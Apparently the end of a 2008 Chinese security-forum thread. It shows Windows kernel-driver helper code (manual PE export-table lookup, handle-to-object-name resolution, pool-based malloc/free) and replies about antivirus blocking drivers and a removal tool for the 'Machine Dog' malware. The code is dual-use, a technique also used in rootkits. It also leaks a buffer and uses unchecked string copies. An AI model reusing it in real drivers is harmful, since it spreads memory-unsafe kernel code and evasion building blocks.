#define IMAGE_DOS_SIGNATURE                 0x5A4D      // MZ
#define IMAGE_OS2_SIGNATURE                 0x454E      // NE
#define IMAGE_OS2_SIGNATURE_LE              0x454C      // LE
#define IMAGE_VXD_SIGNATURE                 0x454C      // LE
#define IMAGE_NT_SIGNATURE                  0x00004550  // PE00

#define IMAGE_DIRECTORY_ENTRY_EXPORT          0   // Export Directory
#define IMAGE_DIRECTORY_ENTRY_IMPORT          1   // Import Directory

DWORD GetProcAddress( HMODULE phModule,char* pProcName )
{
        if (!phModule)
                return  0;
        PIMAGE_DOS_HEADER  pimDH  =  (PIMAGE_DOS_HEADER)phModule;
        PIMAGE_NT_HEADERS  pimNH  =  (PIMAGE_NT_HEADERS)((char*)phModule+pimDH->e_lfanew);
        PIMAGE_EXPORT_DIRECTORY  pimED  =  (PIMAGE_EXPORT_DIRECTORY)((DWORD)phModule+pimNH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
        DWORD  pExportSize  =  pimNH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
        DWORD  pResult  =  0;
       
       
        if ((DWORD)pProcName < 0x10000)
        {
                if ((DWORD)pProcName  >=  pimED->NumberOfFunctions+pimED->Base || (DWORD)pProcName < pimED->Base)
                        return  0;
                pResult  =  (DWORD)phModule+((DWORD*)((DWORD)phModule+pimED->AddressOfFunctions))[(DWORD)pProcName-pimED->Base];
        }else
        {
                DWORD*  pAddressOfNames  =  (DWORD*)((DWORD)phModule+pimED->AddressOfNames);
                for (int i=0;i<(int)pimED->NumberOfNames;i++)
                {
                        char*  pExportName  =  (char*)(pAddressOfNames[i]+(DWORD)phModule);

                        //sysmsgf("%08X:%s\r\n",pResult,pExportName);
                        if (strcmp(pProcName,pExportName) == 0)
                        {
                                WORD*  pAddressOfNameOrdinals  =  (WORD*)((DWORD)phModule+pimED->AddressOfNameOrdinals);
                                pResult    =  (DWORD)phModule+((DWORD*)((DWORD)phModule+pimED->AddressOfFunctions))[pAddressOfNameOrdinals[i]];
                                break;
                        }
                       
                }
        }

        if  (pResult != 0 && pResult  >=  (DWORD)pimED  &&  pResult <  (DWORD)pimED+pExportSize)
        {
                char*  pDirectStr  =  (char*)pResult;
                bool  pstrok  =  false;
                while (*pDirectStr)
                {
                        if (*pDirectStr == '.')
                        {
                                pstrok  =  true;
                                break;
                        }
                        pDirectStr++;
                }
                if (!pstrok)
                        return  0;
                char  pdllname[MAX_PATH];
                int    pnamelen  =  pDirectStr-(char*)pResult;
                if (pnamelen <= 0)
                        return  0;
                memcpy(pdllname,(char*)pResult,pnamelen);
                pdllname[pnamelen] = 0;
                HMODULE  phexmodule  =  GetModuleHandle(pdllname);
                pResult  =  GetProcAddress(phexmodule,pDirectStr+1);
        }
       
        return pResult;
}

extern "C" NTSTATUS
  ObQueryNameString(
    IN PVOID  Object,
    OUT POBJECT_NAME_INFORMATION  ObjectNameInfo,
    IN ULONG  Length,
    OUT PULONG  ReturnLength
    );

int ObQueryObjectNameByHandle(HANDLE Handle,char*Name)
{
        __try
        {
        //STATUS_INVALID_HANDLE
        POBJECT_NAME_INFORMATION poni=0;

        NTSTATUS status;
        PVOID obj=NULL;
        status=ObReferenceObjectByHandle(Handle,GENERIC_ALL,NULL,KernelMode,&obj,NULL);
        if(status!=STATUS_SUCCESS)goto error_ret;

        ULONG retbyte=0;
        poni=(POBJECT_NAME_INFORMATION)ExAllocatePool(NonPagedPool,1024);

        status=ObQueryNameString(obj,poni,1024,&retbyte);
        if(status!=STATUS_SUCCESS)goto error_ret;

        ObDereferenceObject(obj);
        if(poni->Name.Length==0)goto error_ret;

        ANSI_STRING as;
        RtlUnicodeStringToAnsiString(&as,&poni->Name,TRUE);
        strcpy(Name,as.Buffer);
        RtlFreeAnsiString(&as);

        return TRUE;

error_ret:
        if(poni)ExFreePool(poni);
        return 0;
        }
        __except(EXCEPTION_EXECUTE_HANDLER)
        {
                return -1;
        }
}

void*malloc(int size)
{
        return ExAllocatePool(NonPagedPool,size);
}

void free(void*buf)
{
        return ExFreePool(buf);
}
sudami 2008-3-27 13:59
45
都是科普函数。而且太容易被别人pass了
一个穷光蛋 2008-3-27 19:49
46
现在的杀毒软件,都禁止普通程序加载Driver了,这才是大问题.
qicaicanmo 2008-3-27 23:55
47
支持LZ希望能写出专杀工具或者能更新 机器狗,磁碟 的代码
dragonyjd 2008-3-28 18:44
48
都下载学习了。。。
佩服SU兄,向你学习
shs 2008-3-28 20:01
49
超级牛群啊!!!佩服
菜菜小J 2008-3-28 23:32
50
哈哈,大大真幽默~
返回